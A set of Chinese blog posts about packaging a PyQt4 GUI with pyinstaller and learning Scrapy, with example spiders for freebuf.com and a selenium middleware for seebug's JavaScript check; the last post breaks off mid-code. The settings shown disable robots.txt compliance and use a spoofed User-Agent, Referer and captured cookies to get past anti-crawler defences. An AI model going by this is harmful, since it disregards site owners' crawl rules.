<figure class="highlight ruby"><table><tr><td class="code"><pre><span class="line"><span class="variable language_">self</span>.pushButton.clicked.connect(<span class="built_in">lambda</span> : <span class="variable language_">self</span>.work(<span class="number">1</span>))  <span class="comment"># 单击调用work函数</span></span><br><span class="line"><span class="variable language_">self</span>.pushButton_2.clicked.connect(<span class="built_in">lambda</span> : <span class="variable language_">self</span>.work(<span class="number">2</span>))</span><br><span class="line"><span class="variable language_">self</span>.pushButton_3.clicked.connect(<span class="built_in">lambda</span> : <span class="variable language_">self</span>.work(<span class="number">3</span>))</span><br></pre></td></tr></table></figure>
<p>　现在已经成功让Encryotiong脚本的功能通过GUI界面来执行、实现。最后通过pyinstaller进行打包成exe。</p>
<figure class="highlight stylus"><table><tr><td class="code"><pre><span class="line">pyinstaller -F -w -<span class="selector-tag">i</span> ico<span class="selector-class">.ico</span> <span class="attr">--upx-dir</span> D:\Code\Python27\upx394w Encryptiong.py</span><br></pre></td></tr></table></figure>
<h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>　在编写使用pyinstaller、PyQt4生成GUI界面的exe时，遇到几个问题，在此记录一下。</p>
<ol>
<li>pyinstaller -i加载图标的时候，图标需要是多种尺寸的图标。要不然某些情况是无法显示的;</li>
<li>pyinstaller -w生成无终端窗口需要脚本有GUI界面;</li>
<li>PyQt4的Button执行函数，需要使用lambda生成匿名函数;</li>
<li>PyQt4的QMessageBox进行弹框提示需要将字符串转成Unicode编码，要不然会乱码。</li>
</ol>
<h2 id="完整代码"><a href="#完整代码" class="headerlink" title="完整代码"></a>完整代码</h2><p>　完整代码已经上传到我的GiHub。如果有兴趣，不妨移步到Github上一观！**<a href="https://github.com/HyWell/Python/blob/master/Os/Encryptiong-Exe/Encry.py"><font color=blue>Code</font></a>**。</p>
]]></content>
      <categories>
        <category>Code</category>
        <category>Python2</category>
      </categories>
      <tags>
        <tag>Python2</tag>
      </tags>
  </entry>
  <entry>
    <title>Python2-Scrapy学习(一)</title>
    <url>/archives/84973573.html</url>
    <content><![CDATA[<p>以前写爬虫都是自己使用requests、bs4等库手工编写，最近想学学scrapy看看这个爬虫神器有多强大。<br>[<img data-src="https://i.loli.net/2018/08/24/5b7fc660b4c28.png" alt="scrapy crawl.png"></p>
<span id="more"></span>

<h1 id="Install-scrapy"><a href="#Install-scrapy" class="headerlink" title="Install scrapy"></a>Install scrapy</h1><p>使用pip安装scrapy即可。<br><code>sudo pip install scrapy</code><br><img data-src="https://i.loli.net/2018/08/24/5b7fc095d3423.png" alt="scrapy version.png"><br>scrapy的命令常用的有：startproject、shell、crawl等。</p>
<h1 id="Scrapy-runspider"><a href="#Scrapy-runspider" class="headerlink" title="Scrapy runspider"></a>Scrapy runspider</h1><p>使用scrapy runspider直接运行爬虫脚本。相对项目而言方便快捷。这里我直接使用官方文档的示例。</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">import</span> scrapy</span><br><span class="line">	</span><br><span class="line"><span class="keyword">class</span> <span class="title class_">QuotesSpider</span>(scrapy.Spider):</span><br><span class="line">    name = <span class="string">&quot;quotes&quot;</span></span><br><span class="line">    start_urls = [</span><br><span class="line">        <span class="string">&#x27;http://quotes.toscrape.com/tag/humor/&#x27;</span>,</span><br><span class="line">    ]</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">parse</span>(<span class="params">self, response</span>):</span><br><span class="line">        <span class="keyword">for</span> quote <span class="keyword">in</span> response.css(<span class="string">&#x27;div.quote&#x27;</span>):</span><br><span class="line">            <span class="keyword">yield</span> &#123;</span><br><span class="line">                <span class="string">&#x27;text&#x27;</span>: quote.css(<span class="string">&#x27;span.text::text&#x27;</span>).extract_first(),</span><br><span class="line">                <span class="string">&#x27;author&#x27;</span>: quote.xpath(<span class="string">&#x27;span/small/text()&#x27;</span>).extract_first(),</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">        next_page = response.css(<span class="string">&#x27;li.next a::attr(&quot;href&quot;)&#x27;</span>).extract_first()</span><br><span class="line">        <span class="keyword">if</span> next_page <span class="keyword">is</span> <span class="keyword">not</span> <span class="literal">None</span>:</span><br><span class="line">            <span class="keyword">yield</span> response.follow(next_page, self.parse)</span><br></pre></td></tr></table></figure>
<p>[<img data-src="https://i.loli.net/2018/08/27/5b83a006498b1.png" alt="scrapy runsprider.png"> 使用-o参数可以导出结果。 scrapy runsprider freebuf.py -o result.json [<img data-src="https://i.loli.net/2018/08/27/5b83a042030b7.png" alt="scrapy runsprider -o.png"></p>
<h1 id="scrapy-startproject"><a href="#scrapy-startproject" class="headerlink" title="scrapy startproject"></a>scrapy startproject</h1><p>使用scrapy startproject创建爬虫项目。</p>
<h2 id="Config-setting"><a href="#Config-setting" class="headerlink" title="Config setting"></a>Config setting</h2><p>使用scrapy新建爬虫项目，这里我测试站点选择freebuf，建立一个爬虫项目。<br>    <code>scrapy startproject freebuf</code><br>进入freebuf目录，创建基础爬虫。<br>    <code>scrapy genspider freebufSprider &quot;freebuf.com&quot;</code><br>之后目录结构如下图：<br>[<img data-src="https://i.loli.net/2018/08/24/5b7fc10d77a9c.png" alt="scrapy start project tree.png"><br>进入freebuf目录下，查看settings.py配置文件。下面列出几个需要修改的配置。</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">ROBOTSTXT_OBEY = <span class="literal">False</span>(不遵循Robots.txt规则)</span><br><span class="line">USER_AGENT = <span class="string">&#x27;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36&#x27;</span>(修改User-Agent)</span><br><span class="line">DEFAULT_REQUEST_HEADERS = &#123;<span class="string">&#x27;Referer&#x27;</span>: <span class="string">&#x27;http://www.freebuf.com/&#x27;</span>&#125;(设置默认请求头)</span><br></pre></td></tr></table></figure>

<h2 id="scrapy-crawl"><a href="#scrapy-crawl" class="headerlink" title="scrapy crawl"></a>scrapy crawl</h2><p>一开始对freebuf进行爬虫的时候，发现响应包返回不正确。<br><img data-src="https://i.loli.net/2018/08/25/5b81035d0d421.png" alt="scrapy no referer.png"></p>
<p>初步猜测freebuf站点有反爬虫的策略(猜测主要有四点：User-Agent、Cookie、Referer、请求间隔)。为了方便查看请求包，对请求设置HTTP代理。<br>修改settings.py文件中的DOWNOLOAD_MIDDLEAWARES</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">DOWNLOADER_MIDDLEWARES = &#123;</span><br><span class="line">	    <span class="string">&#x27;scrapy.downloadermiddlewares.httpproxy.HttpProxyMiddleware&#x27;</span>: <span class="number">110</span>,</span><br><span class="line">	    <span class="string">&#x27;freebuf.middlewares.ProxyMiddleware&#x27;</span>: <span class="number">100</span>,</span><br><span class="line">	&#125;</span><br><span class="line"><span class="comment"># 在middlewares.py中增加一个class。</span></span><br><span class="line">	<span class="keyword">class</span> <span class="title class_">ProxyMiddleware</span>(<span class="title class_ inherited__">object</span>):</span><br><span class="line">    overwrite process request</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">process_request</span>(<span class="params">self, request, spider</span>):</span><br><span class="line">      <span class="comment"># Set the location of the proxy</span></span><br><span class="line">      request.meta[<span class="string">&#x27;proxy&#x27;</span>] = <span class="string">&quot;http://127.0.0.1:8080&quot;</span></span><br></pre></td></tr></table></figure>

<p>如上配置，请求包会通过代理发送到本地8080端口。这里，我使用BurpSuite进行代理拦截。<br>[<img data-src="https://i.loli.net/2018/08/25/5b8102c04a263.png" alt="scrapy proxy.png"><br>freebufSprider.py文件进行编写，设置cookie。freebuf的cookie最主要的有两个：acw_sc、acw_tc。</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> scrapy</span><br><span class="line"><span class="keyword">from</span> scrapy <span class="keyword">import</span> Request</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">FreebufspriderSpider</span>(scrapy.Spider):</span><br><span class="line">    name = <span class="string">&#x27;freebufSprider&#x27;</span></span><br><span class="line">    allowed_domains = [<span class="string">&#x27;freebuf.com&#x27;</span>]</span><br><span class="line">    start_urls = [<span class="string">&#x27;http://www.freebuf.com&#x27;</span>]</span><br><span class="line">    cookie = &#123;</span><br><span class="line">        <span class="string">&#x27;acw_sc__&#x27;</span>: <span class="string">&#x27;5b7fb0aee4ffebd067ed819b701014fb3451fcbe&#x27;</span>,</span><br><span class="line">        <span class="string">&#x27;acw_tc&#x27;</span>: <span class="string">&#x27;5b7fbdbc6a0b102973a7c8a7b9ecbf0304865342&#x27;</span>,</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">start_requests</span>(<span class="params">self</span>):</span><br><span class="line">        <span class="keyword">yield</span> Request(self.start_urls[<span class="number">0</span>], callback=self.parse, cookies=self.cookie)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">parse</span>(<span class="params">self, response</span>):</span><br><span class="line">        title = response.css(<span class="string">&#x27;title::text&#x27;</span>).extract_first()</span><br><span class="line">        self.log(<span class="string">u&#x27;编码:%s&#x27;</span> % response.encoding)</span><br><span class="line">        self.log(<span class="string">u&#x27;标题:%s&#x27;</span> % title)</span><br></pre></td></tr></table></figure>

<p>在项目目录下执行<br>    <code>sudo scrapy crawl freebufSprider</code><br>[<img data-src="https://i.loli.net/2018/08/25/5b8103c4adf50.png" alt="scrapy success freebuf.png"> <img data-src="https://i.loli.net/2018/08/24/5b7fc660b4c28.png" alt="scrapy crawl.png"></p>
<h1 id="scrapy-shell"><a href="#scrapy-shell" class="headerlink" title="scrapy shell"></a>scrapy shell</h1><p>也可以使用scrapy的shell进行测试，通过-s USER_AGENT进行请求头设置（不知道为什么使用shell命令，不带cookie也会得到正确的回显）。<br>    <code>sudo scrapy shell -s USER_AGENT=&#39;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36&#39; &#39;http://www.freebuf.com</code><br>[<img data-src="https://i.loli.net/2018/08/24/5b7fc78a09673.png" alt="scrapy shell.png"></p>
<h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>针对不同站点写爬虫的时候，首先需要对站点有所了解：robots.txt、反爬虫机制等。</p>
<ol>
<li>Scarpy爬虫项目相对自己编写的爬虫，整体感强，作为一整个项目来进行编写。以前的那种写法，经常一个脚本就要包含一大堆东西，到最后整体很乱，不利于后期代码维护；</li>
<li>用Scrapy或者Requests&amp;bs4都需要对目标站点需要有所了解；</li>
<li>单个脚本的scrapy提供了导出等API接口，相对自己写的更方便。</li>
</ol>
<p> </p>
]]></content>
      <categories>
        <category>Code</category>
        <category>Python2</category>
      </categories>
      <tags>
        <tag>Python2</tag>
        <tag>scrapy</tag>
        <tag>爬虫</tag>
      </tags>
  </entry>
  <entry>
    <title>Python2-Scrapy学习(二)</title>
    <url>/archives/2ba6ae11.html</url>
    <content><![CDATA[<p>继续学习scrapy,这次学习如何进行数据爬取。<br><img data-src="https://i.loli.net/2018/08/28/5b84f81f600a4.png" alt="scrapy -o result.json.png"></p>
<span id="more"></span>
<p>在<a href="/archives/84973573.html" title="Python2-Scrapy学习(一)">Python2-Scrapy学习(一)</a>大致了解了scrapy的基础使用方式，接下来开始使用scrapy结合xpath爬取所需的信息。</p>
<h1 id="freebuf资讯爬取"><a href="#freebuf资讯爬取" class="headerlink" title="freebuf资讯爬取"></a>freebuf资讯爬取</h1><p>假定需要爬取的是freebuf最新的资讯，通过Chrome的Elements可以看到资讯的信息在<code>class=news_inner news-list</code>的div中。<br><a href="https://i.loli.net/2018/08/28/5b84f1db7b7de.png"><img data-src="https://i.loli.net/2018/08/28/5b84f1db7b7de.png" alt="freebuf div.png"></a><br>使用scrapy shell命令进行调试。</p>
<figure class="highlight apache"><table><tr><td class="code"><pre><span class="line"><span class="attribute">scrapy</span> shell -s USER_AGENT=&#x27;Mozilla/<span class="number">5</span>.<span class="number">0</span> (Macintosh; Intel Mac OS X <span class="number">10</span>_13_6) AppleWebKit/<span class="number">537</span>.<span class="number">36</span> (KHTML, like Gecko) Chrome/<span class="number">68</span>.<span class="number">0</span>.<span class="number">3440</span>.<span class="number">106</span> Safari/<span class="number">537</span>.<span class="number">36</span>&#x27; &#x27;http://www.freebuf.com</span><br></pre></td></tr></table></figure>
<p><a href="https://i.loli.net/2018/08/28/5b84f2795f37e.png"><img data-src="https://i.loli.net/2018/08/28/5b84f2795f37e.png" alt="scrapy shell debug.png"></a><br>使用<span class="exturl" data-url="aHR0cHM6Ly93d3cudzMub3JnL1RSL3hwYXRoL2FsbC8=">xpath<i class="fa fa-external-link-alt"></i></span>选择器来筛选需要的数据。<br><a href="https://i.loli.net/2018/08/28/5b84f42788808.png"><img data-src="https://i.loli.net/2018/08/28/5b84f42788808.png" alt="scrapy shell get.png"></a><br>最后使用<code>scrapy crawl freebufSprider -o result.json</code>可将结果保存至result.json中。<br><a href="https://i.loli.net/2018/08/28/5b84f81f600a4.png"><img data-src="https://i.loli.net/2018/08/28/5b84f81f600a4.png" alt="scrapy -o result.json.png"></a></p>
<h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><ol>
<li>爬虫的步骤：访问站点、解析数据、获取数据。</li>
<li>scrapy支出css、xpath，大家看哪个顺手就用那个好了。</li>
</ol>
<h1 id="完整代码"><a href="#完整代码" class="headerlink" title="完整代码"></a>完整代码</h1><p>完整代码已经上传到GitHub。如果有兴趣，不妨移步到Github上一观！**<a href="https://github.com/HyWell/Python/tree/master/Crawler/freebuf"><font color=blue>Code</font></a>**。</p>
]]></content>
      <categories>
        <category>Code</category>
        <category>Python2</category>
      </categories>
      <tags>
        <tag>Python2</tag>
        <tag>scrapy</tag>
        <tag>爬虫</tag>
      </tags>
  </entry>
  <entry>
    <title>Python2-Scrapy学习(三)</title>
    <url>/archives/80b032ee.html</url>
    <content><![CDATA[<p>继续学习scrapy,这次学习如何将数据进行存储。<br><img data-src="https://i.loli.net/2018/11/23/5bf7b1e887464.png" alt="mongo数据.png"></p>
<span id="more"></span>
<p>在<a href="/archives/2ba6ae11.html" title="Python2-Scrapy学习(二)">Python2-Scrapy学习(二)</a>学习如何通过xpath获取数据，接下来通过MongDB or MySQL将数据进行保存。</p>
<h1 id="scrapy数据存储"><a href="#scrapy数据存储" class="headerlink" title="scrapy数据存储"></a>scrapy数据存储</h1><h2 id="freebuf搜索信息爬取"><a href="#freebuf搜索信息爬取" class="headerlink" title="freebuf搜索信息爬取"></a>freebuf搜索信息爬取</h2><p>上一章中爬取的数据为freebuf首页的资讯，这次爬取freebuf搜索所产生的数据。Ps：上一章通过HTTP进行访问，这次直接通过HTTPS就不需要考虑COOKIE的问题。<br>由于搜索返回的是json，因此不需要使用xpath，直接使用json进行解析即可获取数据。这里就直接贴上爬取代码：</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> scrapy</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"><span class="keyword">import</span> json</span><br><span class="line"><span class="keyword">import</span> pymongo</span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> freebuf.items <span class="keyword">import</span> FreebufItem</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">FreebufSpider</span>(scrapy.Spider):</span><br><span class="line">    name = <span class="string">&#x27;freebuf&#x27;</span></span><br><span class="line">    allowed_domains = [<span class="string">&#x27;freebuf.com&#x27;</span>]</span><br><span class="line">    custom_settings = &#123;</span><br><span class="line">        <span class="string">&#x27;ITEM_PIPELINES&#x27;</span>: &#123;</span><br><span class="line">            <span class="string">&#x27;freebuf.pipelines.MongodbPipeline&#x27;</span>: <span class="number">300</span>,</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">start_requests</span>(<span class="params">self</span>):</span><br><span class="line">        urls = [</span><br><span class="line">            <span class="string">u&#x27;https://search.freebuf.com/search/find/?year=0&amp;score=0&amp;articleType=0&amp;origin=0&amp;tabType=1&amp;content=攻击&amp;page=1&#x27;</span>,</span><br><span class="line">        ]</span><br><span class="line">        <span class="keyword">for</span> url <span class="keyword">in</span> urls:</span><br><span class="line">            <span class="keyword">yield</span> scrapy.Request(url=url, callback=self.parse)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">parse</span>(<span class="params">self, response</span>):</span><br><span class="line">        item = FreebufItem()</span><br><span class="line">        data = json.loads(response.body_as_unicode())</span><br><span class="line">        <span class="keyword">if</span> data[<span class="string">&quot;data&quot;</span>][<span class="string">&quot;total&quot;</span>] != <span class="string">u&#x27;0&#x27;</span>:</span><br><span class="line">            page = <span class="built_in">int</span>(response.url[response.url.find(<span class="string">&#x27;page=&#x27;</span>) + <span class="number">5</span>:]) + <span class="number">1</span></span><br><span class="line">            next_page = response.url[:response.url.find(<span class="string">&#x27;page=&#x27;</span>) + <span class="number">5</span>] + <span class="built_in">str</span>(page)</span><br><span class="line">            <span class="keyword">for</span> i <span class="keyword">in</span> data[<span class="string">&quot;data&quot;</span>][<span class="string">&quot;list&quot;</span>]:</span><br><span class="line">                <span class="keyword">if</span> i[<span class="string">&quot;time&quot;</span>] == time.strftime(<span class="string">&quot;%Y-%m-%d&quot;</span>).decode(<span class="string">&#x27;utf-8&#x27;</span>):</span><br><span class="line">                    item[<span class="string">&#x27;source&#x27;</span>] = <span class="string">&#x27;freebuf&#x27;</span></span><br><span class="line">                    item[<span class="string">&#x27;title&#x27;</span>] = i[<span class="string">&quot;title&quot;</span>]</span><br><span class="line">                    item[<span class="string">&#x27;url&#x27;</span>] = i[<span class="string">&#x27;url&#x27;</span>]</span><br><span class="line">                    item[<span class="string">&#x27;content&#x27;</span>] = i[<span class="string">&#x27;content&#x27;</span>]</span><br><span class="line">                    item[<span class="string">&#x27;time&#x27;</span>] = i[<span class="string">&#x27;time&#x27;</span>]</span><br><span class="line">                    item[<span class="string">&#x27;author&#x27;</span>] = i[<span class="string">&#x27;name&#x27;</span>]</span><br><span class="line">                <span class="keyword">else</span>:</span><br><span class="line">                    next_page = <span class="literal">None</span></span><br><span class="line">                    <span class="keyword">continue</span></span><br><span class="line">        <span class="keyword">yield</span> item</span><br><span class="line">        <span class="keyword">if</span> next_page <span class="keyword">is</span> <span class="keyword">not</span> <span class="literal">None</span>:</span><br><span class="line">            next_page = response.urljoin(next_page)</span><br><span class="line">            <span class="keyword">yield</span> scrapy.Request(next_page, callback=self.parse)</span><br><span class="line">        self.log(<span class="string">&quot;Freebuf sprider:%s&quot;</span> % (response.url))		</span><br><span class="line"></span><br></pre></td></tr></table></figure>

<p><code>custom_settings</code>用于爬虫自定义设置，该优先级大于项目设置。这里设置使用pipelines.py文件中MongodbPipeline类对数据进行处理，优先级300（数字越小，优先级越高）。</p>
<h2 id="数据处理"><a href="#数据处理" class="headerlink" title="数据处理"></a>数据处理</h2><p>在piplines.py中我写了两个类：MongodbPipeline、MysqlPipeline，分别存储进MongoDB、MySQL。其中MongoDB已经测试，可完美进行存储；MySQL还未进行测试。<br>​		</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># Define your item pipelines here</span></span><br><span class="line"><span class="comment">#</span></span><br><span class="line"><span class="comment"># Don&#x27;t forget to add your pipeline to the ITEM_PIPELINES setting</span></span><br><span class="line"><span class="comment"># See: https://doc.scrapy.org/en/latest/topics/item-pipeline.html</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> pymongo</span><br><span class="line"><span class="keyword">import</span> pymysql</span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> scrapy <span class="keyword">import</span> log</span><br><span class="line"><span class="keyword">from</span> scrapy.conf <span class="keyword">import</span> settings</span><br><span class="line"><span class="keyword">from</span> twisted.enterprise <span class="keyword">import</span> adbapi</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">MongodbPipeline</span>(<span class="title class_ inherited__">object</span>):</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self</span>):</span><br><span class="line">        self.mongo_host = settings[<span class="string">&quot;MONGODB_HOST&quot;</span>]</span><br><span class="line">        self.mongo_port = settings[<span class="string">&quot;MONGODB_PORT&quot;</span>]</span><br><span class="line">        self.mongo_db = settings[<span class="string">&quot;MONGODB_DBNAME&quot;</span>]</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">open_spider</span>(<span class="params">self, spider</span>):</span><br><span class="line">        self.client = pymongo.MongoClient(host=self.mongo_host, port=self.mongo_port)</span><br><span class="line">        self.db = self.client[self.mongo_db]</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">close_spider</span>(<span class="params">self, spider</span>):</span><br><span class="line">        self.client.close()</span><br><span class="line">		        </span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">process_item</span>(<span class="params">self, item, spider</span>):</span><br><span class="line">        info = <span class="built_in">dict</span>(item)</span><br><span class="line">        self.db[item[<span class="string">&#x27;source&#x27;</span>]].insert_one(info)</span><br><span class="line">        <span class="keyword">return</span> item</span><br><span class="line">	</span><br><span class="line"><span class="keyword">class</span> <span class="title class_">MysqlPipeline</span>(<span class="title class_ inherited__">object</span>):</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self</span>):</span><br><span class="line">        dbparms = <span class="built_in">dict</span>(</span><br><span class="line">            host = settings[<span class="string">&#x27;MYSQL_HOST&#x27;</span>],</span><br><span class="line">            port = settings[<span class="string">&#x27;MYSQL_PORT&#x27;</span>],</span><br><span class="line">            dbname = settings[<span class="string">&#x27;MYSQL_DBNAME&#x27;</span>],</span><br><span class="line">            user = settings[<span class="string">&#x27;MYSQL_USER&#x27;</span>],</span><br><span class="line">            passwd = settings[<span class="string">&#x27;MYSQL_PASSWORD&#x27;</span>],</span><br><span class="line">            charset = <span class="string">&#x27;utf8&#x27;</span>,</span><br><span class="line">            cursorclass = pymysql.cursors.DictCursor,</span><br><span class="line">            use_unicode = <span class="literal">True</span>,</span><br><span class="line">        )</span><br><span class="line">        self.dbpool = adbapi.ConnectionPool(<span class="string">&quot;pymysql&quot;</span>, **dbparms)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">process_item</span>(<span class="params">self, item, spider</span>):</span><br><span class="line">            query = self.dbpool.runInteraction(self.do_insert, item, spider)</span><br><span class="line">            log.msg(<span class="string">&quot;MySQL connect&quot;</span>)</span><br><span class="line">            query.addErrback(self.handle_error, item, spider)</span><br><span class="line">            query.addBoth(<span class="keyword">lambda</span> _: item)</span><br><span class="line">            <span class="keyword">return</span> query</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">handle_error</span>(<span class="params">self, failure, item, spider</span>):</span><br><span class="line">        <span class="built_in">print</span> failure</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">do_insert</span>(<span class="params">self, cursor, item</span>):</span><br><span class="line">        cursor.execute(<span class="string">&quot;insert into freebuf (title, url, content, time, author, source) values(%s, %s, %s, %s, %s, %s)&quot;</span>,</span><br><span class="line">                        item[<span class="string">&#x27;title&#x27;</span>], item[<span class="string">&#x27;url&#x27;</span>], item[<span class="string">&#x27;content&#x27;</span>], item[<span class="string">&#x27;time&#x27;</span>], item[<span class="string">&#x27;author&#x27;</span>], item[<span class="string">&#x27;source&#x27;</span>])</span><br></pre></td></tr></table></figure>

<h2 id="数据库配置"><a href="#数据库配置" class="headerlink" title="数据库配置"></a>数据库配置</h2><p>在项目settings.py文件需要定义数据库host、port、username、password等，直接在最后面加上配置信息即可。</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment"># MongDB Config</span></span><br><span class="line">MONGODB_HOST = <span class="string">&#x27;localhost&#x27;</span></span><br><span class="line">MONGODB_PORT = <span class="number">27017</span></span><br><span class="line">MONGODB_DBNAME = <span class="string">&#x27;freebuf&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># MySQL Config</span></span><br><span class="line"><span class="comment"># MYSQL_HOST = &#x27;localhost&#x27;</span></span><br><span class="line"><span class="comment"># MYSQL_PORT = 3306</span></span><br><span class="line"><span class="comment"># MYSQL_DBNAME = &#x27;freebuf&#x27;</span></span><br><span class="line"><span class="comment"># MYSQL_USER = &#x27;root&#x27;</span></span><br><span class="line"><span class="comment"># MYSQL_PASSWORD = &#x27;root&#x27;</span></span><br></pre></td></tr></table></figure>



<h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><ol>
<li>项目、爬虫本身都可以进行配置，爬虫本身所配置的优先级大于项目。优先级：Command line options (most precedence)&gt; Settings per-spider&gt; Project settings module&gt; Default settings per-command&gt; Default global settings (less precedence)；</li>
<li>通过response.urljoin可将需要爬取的url添加至待爬取池，只要解析规则正确就可以将所需要的页面不断加入待爬取池；</li>
<li>scrapy函数大部分都可以通过callback进行回调，yield进行资源控制超级棒；</li>
<li>感觉item.py文件利用的较少，应该还有我不知道的用途。</li>
</ol>
<p> </p>
]]></content>
      <categories>
        <category>Code</category>
        <category>Python2</category>
      </categories>
      <tags>
        <tag>Python2</tag>
        <tag>scrapy</tag>
        <tag>爬虫</tag>
      </tags>
  </entry>
  <entry>
    <title>Python-scrapy学习(四)</title>
    <url>/archives/8c2656f.html</url>
    <content><![CDATA[<p>scrapy学习到此告一段落，下图为一个项目的框架图。</p>
<p><img data-src="https://i.loli.net/2018/12/03/5c04c4f799a40.png" alt="项目框架图"></p>
<span id="more"></span>

<p>在<a href="/archives/80b032ee.html" title="Python2-Scrapy学习(三)">Python2-Scrapy学习(三)</a>学习如何将数据进行存储，接下来学习如何使用selenium解析JS、邮件通知</p>
<h1 id="selenium解析JS"><a href="#selenium解析JS" class="headerlink" title="selenium解析JS"></a>selenium解析JS</h1><p>在爬取seebug直接请求无法访问到数据页面，发现访问seebug流程为：访问seebug-解析js-赋值cookie字段-再次访问-成功获取数据。</p>
<p><img data-src="https://i.loli.net/2018/12/02/5c0367f5396dd.png" alt="js解析"></p>
<p><img data-src="https://i.loli.net/2018/12/02/5c0368f0ad668.png" alt="Connect success"></p>
<p>查阅资料得知scrapy可以使用Splash进行JavaScript渲染，但是根据官网信息显示得与docker进行配合。后面想起来可以通过selenium进行解析，但是<span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL2NsZW1mcm9tc3BhY2Uvc2NyYXB5LXNlbGVuaXVt">scrapy-selenium<i class="fa fa-external-link-alt"></i></span>需要python&gt;&#x3D;3.6。但是，我使用的是2.7，因此，我直接使用selenium进行解析。Ps：在CentOS6下，无法使用Chrome进行。</p>
<h2 id="安装"><a href="#安装" class="headerlink" title="安装"></a>安装</h2><p>直接使用pip安装selenium即可，phantomjs已经暂停项目，新版的selenium已经不支持phantomjs。报错信息：UserWarning: Selenium support for PhantomJS has been deprecated, please use headless versions of Chrome or Firefox instead。因此，根据<span class="exturl" data-url="aHR0cHM6Ly9zZWxlbml1bS1weXRob24ucmVhZHRoZWRvY3MuaW8vaW5zdGFsbGF0aW9uLmh0bWwjZG93bmxvYWRpbmctcHl0aG9uLWJpbmRpbmdzLWZvci1zZWxlbml1bQ==">官方文档<i class="fa fa-external-link-alt"></i></span>需要下载相应的浏览器内核（Chrome、Edge、Firefox、Safari）。<span class="exturl" data-url="aHR0cHM6Ly9zaXRlcy5nb29nbGUuY29tL2EvY2hyb21pdW0ub3JnL2Nocm9tZWRyaXZlci9kb3dubG9hZHM=">我下载了Chrome Driver<i class="fa fa-external-link-alt"></i></span>，并将chromedriver文件移动到&#x2F;usr&#x2F;local&#x2F;bin目录下。</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line">pip install selenium</span><br></pre></td></tr></table></figure>

<h2 id="使用middlewares"><a href="#使用middlewares" class="headerlink" title="使用middlewares"></a>使用middlewares</h2><p>安装完成之后，我想的是通过scary项目的方式进行调用（例如scrapy-selenium），所以并不会采取直接在爬虫里面selenium的调用。通过阅读scrapy文档发现，可以在middleware.py中将selenium使用封装成类，通过setting.py或者爬虫custom_settings进行调用。</p>
<p>middlewares.py</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> selenium <span class="keyword">import</span> webdriver</span><br><span class="line"><span class="keyword">from</span> scrapy.http <span class="keyword">import</span> HtmlResponse</span><br><span class="line"><span class="keyword">from</span> scrapy.exceptions <span class="keyword">import</span> IgnoreRequest</span><br><span class="line"><span class="keyword">from</span> selenium.webdriver.chrome.options <span class="keyword">import</span> Options</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">SeleniumMiddleware</span>(<span class="title class_ inherited__">object</span>):</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self</span>):</span><br><span class="line">        self.chrome_options = Options()</span><br><span class="line">        self.chrome_options.add_argument(<span class="string">&#x27;--headless&#x27;</span>)</span><br><span class="line">        self.chrome_options.add_argument(<span class="string">&#x27;--disable-gpu&#x27;</span>)</span><br><span class="line">        self.driver = webdriver.Chrome(chrome_options=self.chrome_options)</span><br><span class="line">        <span class="comment"># self.driver = webdriver.Chrome()</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">process_request</span>(<span 